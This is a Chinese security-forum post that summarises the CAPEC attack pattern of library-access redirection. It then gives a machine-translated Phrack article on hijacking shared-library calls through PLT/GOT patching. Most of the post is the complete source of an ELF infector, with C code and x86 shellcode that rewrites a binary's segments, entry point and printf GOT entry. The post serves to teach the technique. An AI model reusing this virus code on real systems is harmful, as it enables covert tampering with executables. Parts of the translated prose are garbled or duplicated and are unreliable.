首页
社区
课程
招聘
[原创][攻击方法]欺骗攻击_资源位置欺骗
发表于: 2021-3-10 17:13 1065

[原创][攻击方法]欺骗攻击_资源位置欺骗

2021-3-10 17:13
1065

目录

简述

知己知彼,方能百战百胜。 -《孙子兵法》
备注:根据自身知识面及相关理解会对内容进行不定时更新
更新日期:2021年3月10日
欢迎大家一起讨论与完善

引申知识

何为资源位置欺骗攻击

  • 英文:Resource Location Spoofing
  • 攻击者欺骗应用程序或用户,说服他们从一个非预期的位置请求资源。通过欺骗地点,攻击者可以导致使用另一种资源,通常是攻击者控制的资源,可以用来帮助他们实现其恶意目的。
  • 受攻击的可能性
  • 危害等级
  • 前提条件
    无。所有应用程序都依赖于文件路径,因此,理论上,它们或它们的资源都可能受到这类攻击的影响。
  • 资源需求
    无。执行这类攻击不需要专门资源。
  • 缓解措施
    监控网络活动,以检测任何异常或未经授权的通信交换。

重定向对库的访问途径

  • 英文:Redirect Access to Libraries
  • 攻击者利用应用程序搜索外部库的方式中的一个弱点,操纵执行流程,指向攻击者提供的库或代码库。这种攻击模式允许对手通过执行未经授权的代码来控制应用程序或服务器。应用程序通常会调用属于应用程序外部库的函数。这些库可能是操作系统的一部分,也可能是第三方库。如果对手能够将应用程序访问这些库的尝试重定向到对手提供的其他库,对手将能够强迫目标应用程序执行任意代码。如果目标应用程序具有增强的权限,这一点尤其危险。访问可以通过一些技术进行重定向,包括使用符号链接、搜索路径修改和相对路径操作。
  • 受攻击的可能性
  • 危害等级
    非常高
  • 前提条件
    目标必须利用外部库,而且在使用这些库之前,必须无法验证这些库的完整性。
  • 技能需求
    [水平:低]
    要修改配置文件中指向恶意库的条目。
    [水平:中]
    强制重定向访问库的符号链接和时间问题。
    [水平:高]
    对库进行逆向工程,将恶意代码注入库中。
  • 缓解措施
    实现:限制修改配置文件中条目的权限。
    实现:在使用动态链接库之前检查它们的完整性。
    实现:使用混淆和其他技术来防止对库进行反向工程。
  • 示例
    在这个例子中,攻击者使用ELF感染,重定向可执行文件的程序链接表(PLT),允许重定向常驻在被感染的可执行文件之外。在入口点代码的算法如下所示:
    1
    2
    3
    将该文本段标记为可写
    保存PLT(GOT)条目
    用新的lib调用的地址替换PLT(GOT)条目
    新库调用中的算法如下所示:
    1
    2
    3
    4
    5
    执行新lib调用payload
    恢复原始PLT(GOT)条目。
    调用lib调用。
    再次保存PLT(GOT)条目(如果已更改)。
    将plt(GOT)条目替换为新lib调用的地址

使用ELF实现共享库调用重定向的方法:

原文地址:http://phrack.org/issues/56/7.html
重定向可执行文件的过程链接表(PLT)的感染允许重定向驻留在受感染的可执行文件之外。
与LD_PRELOAD重定向技术相比,这种技术的优势在于不会修改环境变量,因此比以前的技术更具隐蔽性。

  • 程序链接表
    就像全局偏移表重定向与位置无关的地址一样。计算到绝对位置,程序链接表。将与位置无关的函数调用重定向到绝对位置。
    链接编辑器不能解析执行转移(如函数的 调用)从一个可执行对象或共享对象到另一个。因此。 链接编辑器安排将程序控制权转移给 存储过程连接表中的条目。在SYSTEM V架构上。存储过程链接表位于共享文本中,但它们使用的是地址。在私有全局偏移表中。动态链接器确定了 目的地的绝对地址,并修改全局偏移量。表的内存映像。因此,动态链接器可以重定向 在不损害立场独立和不损害国家利益的前提下,对参赛作品进行评价。程序文本的可共享性。可执行文件和共享对象 文件有单独的链接表。
    图片描述
    注:如图所示,程序链接表指令对绝对代码和位置无关的代码使用不同的操作码寻址模式。尽管如此,它们与动态链接器的接口是相同的。

按照下面的步骤,动态链接器和程序 "cooperate",通过程序链接表表和全局偏移表来解析符号引用。

  1. 当第一次创建程序的内存映像时,动态链接器将全局偏移表中的第二个和第三个条目设置为特殊值。下面的步骤将详细解释这些值。
  2. 如果存储过程连接表与位置无关,则地址 的全局偏移表必须位于%ebx中。 每个共享对象 过程映像中的文件有自己的过程链接表,而 控制转移到过程连接表条目,只从 在同一个对象文件中。 因此,调用函数是 负责设置全局偏移表的基数寄存器,然后在 调用程序连接表条目。
  3. 为了说明问题,假设程序调用name1,该程序转入了 控件的标签为.PLT1。
  4. 第一条指令跳转到全局偏移表条目中name1的地址。 最初,全局偏移表中保存的是下面推送指令的地址,而不是name1的真实地址。
  5. 因此,程序在堆栈上推送了一个重定位偏移量(offset)。重置偏移是一个32位、非负的字节偏移到重置表中。 指定的重定位条目的类型为R_386_JMP_SLOT,它的偏移量将指定前一条jmp指令中使用的全局偏移表条目。重置条目还包含一个符号表索引,从而告诉动态链接器引用的是什么符号,本例中是name1。
  6. 推移位偏移后,程序就会跳转到.PLT0,也就是程序链接表的第一个条目。 pushl指令将第二个全局偏移表条目(got_plus_4或4(%ebx))的值放在堆栈上,从而使动态链接器得到 链接器一个字的识别信息。 然后程序会跳转到 到第三个全局偏移表条目中的地址(got_plus_8)。或8(%ebx)),将控制权转移给动态链接器。
  7. 当动态链接器接收到控制权时,它就会解开堆栈。查看指定的重定位条目,找到符号的值。 在全局偏移表中存储name1的 "真实 "地址。入口,并将控制权转移到所需的目的地。
  8. 随后对存储过程连接表条目的执行将是 直接转移到name1,而无需调用动态链接器。 第二次。也就是说,在.PLT1处的jmp指令将转移到了 name1,而不是 "落空 "到pushl指令。

LD_BIND_NOW环境变量可以改变动态链接行为。 如果它的值是非空的,动态链接器在将控制权转移给程序之前,会评估过程链接表项。 也就是说,动态链接器在进程初始化过程中处理类型为R_386_JMP_SLOT的重定位条目。 否则,动态链接器会懒惰地评估程序链接表项,将符号解析和重定位延迟到表项的第一次执行。

 

注意:注意:Lazy binding一般会提高整体应用性能。 因为未使用的符号不会产生动态链接开销。 然而,有两种情况使得懒惰绑定在某些情况下是不可取的。应用。 首先,对共享对象函数的初始引用是 的时间比后续调用的时间长,因为动态链接器 拦截调用来解析符号。 有些应用程序不能 忍受这种不可预知性。 其次,如果发生错误,而 动态链接器不能解析该符号,动态链接器就会 终止程序。在懒惰绑定的情况下,这可能发生在 任意时间。 同样,一些应用程序不能容忍这种 的不可预测性。 通过关闭懒惰绑定,动态链接器 强制在流程初始化过程中发生故障,然后再进行 应用程序接收控制。绑定一般会提高整体应用性能。 因为未使用的符号不会产生动态链接开销。 然而,有两种情况使得懒惰绑定在某些情况下是不可取的。应用。 首先,对共享对象函数的初始引用是 的时间比后续调用的时间长,因为动态链接器 拦截调用来解析符号。 有些应用程序不能 忍受这种不可预知性。 其次,如果发生错误,而 动态链接器不能解析该符号,动态链接器就会 终止程序。在懒惰绑定的情况下,这可能发生在 任意时间。 同样,一些应用程序不能容忍这种 的不可预测性。 通过关闭懒惰绑定,动态链接器 强制在流程初始化过程中发生故障,然后再进行 应用程序接收控制。
更详细的解释一下......
共享库的调用在可执行对象中被特殊对待,因为它们在编译时不能链接到可执行对象。 这是由于共享库在运行时才会被可执行程序使用.PLT就是为了处理这样的情况而设计的。 PLT负责调用动态链接器来定位这些所需的例程.可执行文件不调用可执行文件中真正的共享库例程,而是调用PLT中的一个条目。 然后由PLT来解析它所代表的符号并做正确的事情---来自ELF规范。

1
2
3
.PLT1:jmp     *name1_in_GOT
        pushl   $offset
        jmp     .PLT0@PC

这是很重要的信息。这是代替库调用调用的call,name1_in_GOT最初开始指向下面的pushl指令。 偏移量代表一个重定位(见ELF规范)偏移量,它有一个对库调用所代表的符号的引用。 这用于最后的跳转到动态链接器的jmp。 然后动态链接器改变name1_in_GOT直接指向例程,从而避免第二次动态链接。
这就总结了PLT在库查找中的重要性。 可以注意到,我们可以将name_in_GOT改为指向自己的代码,从而替换库调用。 如果我们在替换之前保存GOT的状态,我们可以调用旧的库例程,从而重定向任何库调用。
----|ELF感染
要将重定向的库调用注入可执行文件,需要向可执行文件中添加新代码。ELF感染的实际过程将不在这里描述,因为它已经在以前的文章中被很好地涵盖了(http://www.big.net.au/~silvio - Unix Viruses/Unix ELF Parasites and Virus)。
为了完整性,数据感染是用于注入的,它有点缺陷并不安全。
-|PLT重定向。

 

入口点代码的算法如下:

  • 将文本段标记为可写。
  • 保存PLT(GOT)条目。
  • 将PLT(GOT)条目替换为新lib调用的地址。

新的库调用中的算法如下:

  • 执行新lib调用的有效负载。
  • 恢复原来的PLT(GOT)条目。
  • 调用lib调用。
  • 再次保存PLT(GOT)条目(如果已更改)。
  • 将PLT(GOT)条目替换为新lib调用的地址。
    要更多地解释PLT重定向是如何进行的,最简单的方法是描述提供的示例代码。该代码被注入到可执行文件中,并成为程序的新入口点。重定向的库调用是printf,新代码在printf提供的字符串之前打印一条消息。

好,保存寄存器,依此类推

1
"\x60"                  /*      pusha                   */

将文本段标记为rwx。 我们这样做是为了修改文本段中的PLT,而PLT通常是不可写的。

1
2
3
4
5
"\xb8\x7d\x00\x00\x00"  /*      movl   $125,%eax        */
"\xbb\x00\x80\x04\x08"  /*      movl   $text_start,%ebx  */
"\xb9\x00\x40\x00\x00"  /*      movl   $0x4000,%ecx     */
"\xba\x07\x00\x00\x00"  /*      movl   $7,%edx          */
"\xcd\x80"              /*      int    $0x80            */

我们保存旧库调用的PLT(GOT)引用,并用紧跟在入口点代码后面的新库调用的地址代替。

1
2
3
4
"\xa1\x00\x00\x00\x00"  /*      movl    plt,%eax        */
"\xa3\x00\x00\x00\x00"  /*      movl    %eax,oldcall    */
"\xc7\x05\x00\x90\x04"  /*      movl    $newcall,plt    */
"\x08\x00\x00\x00\x00"

还原寄存器...

1
"\x61"                  /*      popa                    */

跳回可执行文件的原始入口点

1
2
"\xbd\x00\x80\x04\x08"  /*      movl   $entry,%ebp  */
"\xff\xe5"              /*      jmp    *%ebp            */

新的库函数调用(printf)

1
2
3
4
5
6
7
/* newcall:     */
 
get the address of the string to write .
 
        "\xeb\x38"              /*      jmp     msg_jmp         */
/* msg_call */
        "\x59"                  /*      popl    %ecx            */

并使用Linux系统call

1
2
3
4
"\xb8\x04\x00\x00\x00"  /*      movl    $4,%eax         */
"\xbb\x01\x00\x00\x00"  /*      movl    $1,%ebx         */
"\xba\x0e\x00\x00\x00"  /*      movl    $14,%edx        */
"\xcd\x80"              /*      int     $0x80           */

将旧的库调用恢复到PLT(GOT)中,这样我们就可以调用它了

1
2
"\xb8\x00\x00\x00\x00"  /*      movl    $oldcall,%eax   */
"\xa3\x00\x00\x00\x00"  /*      movl    %eax,plt        */

获取原始的printf参数

1
"\xff\x75\xfc"          /*      pushl   -4(%ebp)        */

调用原库

1
"\xff\xd0"              /*      call    *%eax           */

保存PLT(GOT)的原始库调用。 请记住,在调用库之后,这个可能会改变,所以我们每次都要保存。 其实这个只有在第一次调用后才会改变,但我们不用太在意。

1
2
"\xa1\x00\x00\x00\x00"  /*      movl    plt,%eax        */
"\xa3\x00\x00\x00\x00"  /*      movl    %eax,oldcall    */

使PLT(GOT)指向新的库调用

1
2
"\xc7\x05\x00\x00\x00"  /*      movl    $newcall,plt    */
"\x08\x00\x00\x00\x00"

拾遗补缺

1
"\x58"                  /*      popl    %eax            */

还原寄存器

1
"\x61"                  /*      popa                    */

并从函数中返回

1
"\xc3"                  /*      ret                     */

获取要写入的字符串的地址

1
2
/* msg_jmp */
        "\xe8\xc4\xff\xff\xff"  /*      call    msg_call        */

字符串

1
"INFECTED Host "

----|未来的发展方向

 

直接感染共享库是可能的,这有时更可取,因为重定向对所有可执行文件都是常驻的。 另外,还有一种更隐蔽的PLT重定向版本,即直接修改进程映像,从而使主机可执行文件不被修改。 然而,这有一个缺点,即重定向只在一个进程的生命周期内保持有效。
----| CONCLUSION

 

本文介绍了一种利用ELF感染技术,通过直接修改相关可执行文件的PLT来重定向可执行文件中的共享库调用的方法。 它比以往使用LD_PRELOAD的技术更加隐蔽,具有很大的可能性。
----| CODE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
<++> p56/PLT-INFECTION/PLT-infector.c !fda3c047
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>
#define PAGE_SIZE    4096
static char v[] =
    "\x60"                  /*      pusha                    */  
    "\xb8\x7d\x00\x00\x00"  /*      movl   $125,%eax        */
    "\xbb\x00\x80\x04\x08"  /*      movl   $text_start,%ebx    */
    "\xb9\x00\x40\x00\x00"  /*      movl   $0x4000,%ecx    */
    "\xba\x07\x00\x00\x00"  /*      movl   $7,%edx          */
    "\xcd\x80"              /*      int    $0x80            */
    "\xa1\x00\x00\x00\x00"    /*    movl    plt,%eax    */
    "\xa3\x00\x00\x00\x00"    /*    movl    %eax,oldcall    */
    "\xc7\x05\x00\x90\x04"    /*    movl    $newcall,plt    */
    "\x08\x00\x00\x00\x00"
    "\x61"                  /*      popa            */
        "\xbd\x00\x80\x04\x08"  /*      movl   $entry,%ebp    */
        "\xff\xe5"              /*      jmp    *%ebp            */
/* newcall:    */
    "\xeb\x37"        /*    jmp    msg_jmp        */
/* msg_call */
    "\x59"            /*    popl    %ecx        */
    "\xb8\x04\x00\x00\x00"    /*    movl    $4,%eax        */
    "\xbb\x01\x00\x00\x00"    /*    movl    $1,%ebx        */
    "\xba\x0e\x00\x00\x00"    /*    movl    $14,%edx    */  
    "\xcd\x80"        /*    int    $0x80        */
    "\xb8\x00\x00\x00\x00"    /*    movl    $oldcall,%eax    */
    "\xa3\x00\x00\x00\x00"    /*    movl    %eax,plt    */
    "\xff\x75\xfc"        /*    pushl    -4(%ebp)    */
    "\xff\xd0"        /*    call    *%eax        */
    "\xa1\x00\x00\x00\x00"    /*    movl    plt,%eax    */
    "\xa3\x00\x00\x00\x00"    /*    movl    %eax,oldcall    */
    "\xc7\x05\x00\x00\x00"    /*    movl    $newcall,plt    */
    "\x08\x00\x00\x00\x00"
    "\x58"            /*    popl    %eax        */
    "\xc3"            /*    ret            */
/* msg_jmp */
    "\xe8\xc4\xff\xff\xff"    /*    call    msg_call    */
    "INFECTED Host "
;
char *get_virus(void)
{
    return v;
}
int init_virus(
    int plt,
    int offset,
    int text_start, int data_start,
    int data_memsz,
    int entry
)
{
    int code_start = data_start + data_memsz;
    int oldcall = code_start + 72;
    int newcall = code_start + 51;
    *(int *)&v[7] = text_start;
    *(int *)&v[24] = plt;
    *(int *)&v[29] = oldcall;
    *(int *)&v[35] = plt;
    *(int *)&v[39] = newcall;
    *(int *)&v[45] = entry;
    *(int *)&v[77] = plt;
    *(int *)&v[87] = plt;
    *(int *)&v[92] = oldcall;
    *(int *)&v[98] = plt;
    *(int *)&v[102] = newcall;
    return 0;
}
int copy_partial(int fd, int od, unsigned int len)
{
    char idata[PAGE_SIZE];
    unsigned int n = 0;
    int r;
    while (n + PAGE_SIZE < len) {
        if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {;
            perror("read");
            return -1;
        }
        if (write(od, idata, PAGE_SIZE) < 0) {
            perror("write");
            return -1;
        }
        n += PAGE_SIZE;
    }
    r = read(fd, idata, len - n);
    if (r < 0) {
        perror("read");
        return -1;
    }
    if (write(od, idata, r) < 0) {
        perror("write");
        return -1;
    }
    return 0;
}
void do_elf_checks(Elf32_Ehdr *ehdr)
{
        if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
                fprintf(stderr, "File not ELF\n");
                exit(1);
        }
        if (ehdr->e_type != ET_EXEC) {
                fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n");
                exit(1);
        }
        if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
                fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
                exit(1);
        }
        if (ehdr->e_version != EV_CURRENT) {
                fprintf(stderr, "ELF version not current\n");
                exit(1);
        }
}
int do_dyn_symtab(
    int fd,
    Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
    const char *sh_function
)
{
    Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
    char *string;
    Elf32_Sym *sym, *symp;
    int i;
    string = (char *)malloc(strtabhdr->sh_size);
    if (string == NULL) {
        perror("malloc");
        exit(1);
    }
    if (lseek(
        fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset
    ) {
        perror("lseek");
        exit(1);
    }
    if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
        perror("read");
        exit(1);
    }
    sym = (Elf32_Sym *)malloc(shdrp->sh_size);
    if (sym == NULL) {
        perror("malloc");
        exit(1);
    }
    if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) {
        perror("lseek");
        exit(1);
    }
    if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) {
        perror("read");
        exit(1);
    }
    symp = sym;
    for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
        if (!strcmp(&string[symp->st_name], sh_function)) {
            free(string);
            return symp - sym;
        }
        ++symp;
    }
    free(string);
    return -1;
}
int get_sym_number(
    int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
)
{
    Elf32_Shdr *shdrp = shdr;
    int i;
    for (i = 0; i < ehdr->e_shnum; i++) {
        if (shdrp->sh_type == SHT_DYNSYM) {
            return do_dyn_symtab(fd, shdr, shdrp, sh_function);
        }
        ++shdrp;
    }
}
void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
{
    Elf32_Rel *rel, *relp;
    int i;
    rel = (Elf32_Rel *)malloc(shdr->sh_size);
    if (rel == NULL) {
        perror("malloc");
        exit(1);
    }
    if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) {
        perror("lseek");
        exit(1);
    }
    if (read(fd, rel, shdr->sh_size) != shdr->sh_size) {
        perror("read");
        exit(1);
    }
    relp = rel;
    for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
        if (ELF32_R_SYM(relp->r_info) == sym) {
            *plt = relp->r_offset;
            *offset = relp - rel;
            printf("offset %i\n", *offset);
            return;
        }
        ++relp;
    }
    *plt = -1;
    *offset = -1;
}
void find_rel(
    int *plt,
    int *offset,
    int fd,
    const char *string,
    Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
    const char *sh_function
)
{
    Elf32_Shdr *shdrp = shdr;
    int sym;
    int i;
    sym = get_sym_number(fd, ehdr, shdr, sh_function);
    if (sym < 0) {
        *plt = -1;
        *offset = -1;
        return;
    }
    for (i = 0; i < ehdr->e_shnum; i++) {
        if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) {
            do_rel(plt, offset, fd, shdrp, sym);
            return;
        }
        ++shdrp;
    }
}
void infect_elf(
        char *host,
        char *(*get_virus)(void),
        int (*init_virus)(int, int, int, int, int, int),
        int len,
    const char *sh_function
)
{
    Elf32_Ehdr ehdr;
    Elf32_Shdr *shdr, *strtabhdr;
    Elf32_Phdr *phdr;
    char *pdata, *sdata;
    int move = 0;
    int od, fd;
    int evaddr, text_start = -1, plt;
    int sym_offset;
    int bss_len, addlen;
    int offset, pos, oshoff;
    int plen, slen;
    int i;
    char null = 0;
    struct stat stat;
    char *string;
        char tempname[8] = "vXXXXXX";
    fd = open(host, O_RDONLY);
    if (fd < 0) {
        perror("open");
        exit(1);
    }
/* read the ehdr */
    if (read(fd, &ehdr, sizeof(ehdr)) < 0) {
        perror("read");
        exit(1);
    }
    do_elf_checks(&ehdr);
/* modify the virus so that it knows the correct reentry point */
    printf("host entry point: %x\n", ehdr.e_entry);
/* allocate memory for phdr tables */
    pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);
    if (pdata == NULL) {
        perror("malloc");
        exit(1);
    }
/* read the phdr's */
    if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
        perror("lseek");
        exit(1);
    }
    if (read(fd, pdata, plen) != plen) {
        perror("read");
        exit(1);
    }
    phdr = (Elf32_Phdr *)pdata;
/* allocated memory if required to accomodate the shdr tables */
    sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);
    if (sdata == NULL) {
        perror("malloc");
        exit(1);
    }
/* read the shdr's */
    if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) {
        perror("lseek");
        exit(1);
    }
    if (read(fd, sdata, slen) != slen) {
        perror("read");
        exit(1);
    }
    strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];
    string = (char *)malloc(strtabhdr->sh_size);
    if (string == NULL) {
        perror("malloc");
        exit(1);
    }
    if (lseek(
        fd, strtabhdr->sh_offset, SEEK_SET
    ) != strtabhdr->sh_offset) {
        perror("lseek");
        exit(1);
    }
    if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
        perror("read");
        exit(1);
    }
    find_rel(
        &plt, &sym_offset,
        fd,
        string,
        &ehdr,
        (Elf32_Shdr *)sdata,
        sh_function
    );
    if (plt < 0) {
        printf("No dynamic function: %s\n", sh_function);
        exit(1);
    }
    for (i = 0; i < ehdr.e_phnum; i++) {
        if (phdr->p_type == PT_LOAD) {
            if (phdr->p_offset == 0) {
                text_start = phdr->p_vaddr;
            } else {
                if (text_start < 0) {
                    fprintf(stderr, "No text segment??\n");
                    exit(1);
                }
/* is this the data segment ? */
#ifdef DEBUG
                printf("Found PT_LOAD segment...\n");
                printf(
                    "p_vaddr:    0x%x\n"
                    "p_offset:    %i\n"
                    "p_filesz:    %i\n"
                    "p_memsz:    %i\n"
                    "\n",
                    phdr->p_vaddr,
                    phdr->p_offset,
                    phdr->p_filesz,
                    phdr->p_memsz
                );
#endif
                offset = phdr->p_offset + phdr->p_filesz;
                bss_len = phdr->p_memsz - phdr->p_filesz;
                if (init_virus != NULL)
                    init_virus(
                        plt, sym_offset,
                        text_start, phdr->p_vaddr,
                        phdr->p_memsz,
                        ehdr.e_entry
                    );
                ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz;
                break;
            }
        }
        ++phdr;
    }
/* update the shdr's to reflect the insertion of the virus */
    addlen = len + bss_len;
    shdr = (Elf32_Shdr *)sdata;
    for (i = 0; i < ehdr.e_shnum; i++) {
        if (shdr->sh_offset >= offset) {
            shdr->sh_offset += addlen;
        }
        ++shdr;
    }
/*
    update the phdr's to reflect the extention of the data segment (to
    allow virus insertion)
*/
    phdr = (Elf32_Phdr *)pdata;
    for (i = 0; i < ehdr.e_phnum; i++) {
        if (phdr->p_type != PT_DYNAMIC) {
            if (move) {
                phdr->p_offset += addlen;
            } else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
/* is this the data segment ? */
                phdr->p_filesz += addlen;
                phdr->p_memsz += addlen;
#ifdef DEBUG
                printf("phdr->filesz: %i\n", phdr->p_filesz);
                printf("phdr->memsz: %i\n", phdr->p_memsz);
#endif
                 move = 1;
            }
        }
        ++phdr;
    }
/* update ehdr to reflect new offsets */
    if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;
    if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;
        if (fstat(fd, &stat) < 0) {
                perror("fstat");
                exit(1);
        }
/* write the new virus */
        if (mktemp(tempname) == NULL) {
                perror("mktemp");
                exit(1);
        }
    od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode);
    if (od < 0) {
        perror("open");
        exit(1);
    }
    if (lseek(fd, 0, SEEK_SET) < 0) {
        perror("lseek");
        goto cleanup;
    }
    if (write(od, &ehdr, sizeof(ehdr)) < 0) {
        perror("write");
        goto cleanup;
    }
        if (write(od, pdata, plen) < 0) {
                perror("write");
                goto cleanup;
        }
        free(pdata);
        if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
                perror("lseek");
                goto cleanup;
        }
    if (copy_partial(fd, od, offset - pos) < 0) goto cleanup;
    for (i = 0; i < bss_len; i++) write(od, &null, 1);
    if (write(od, get_virus(), len) != len) {
        perror("write");
        goto cleanup;
    }
    if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup;
        if (write(od, sdata, slen) < 0) {
                perror("write");
                goto cleanup;
        }
        free(sdata);
        if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) {
                perror("lseek");
                goto cleanup;
        }
        if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup;
        if (rename(tempname, host) < 0) {
                perror("rename");
                exit(1);
        }
        if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
                perror("chown");
                exit(1);
        }
    free(string);
    return;
cleanup:
    unlink(tempname);
    exit(1);
}
int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: infect-data-segment filename\n");
        exit(1);
    }
        infect_elf(
                argv[1],
                get_virus, init_virus,
                sizeof(v),
        "printf"
        );
    exit(0);
}
<-->

参考资料

  • 《CAPEC》
  • 《使用ELF实现共享库调用重定向的方法》

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-3-10 17:24 被梦幻的彼岸编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//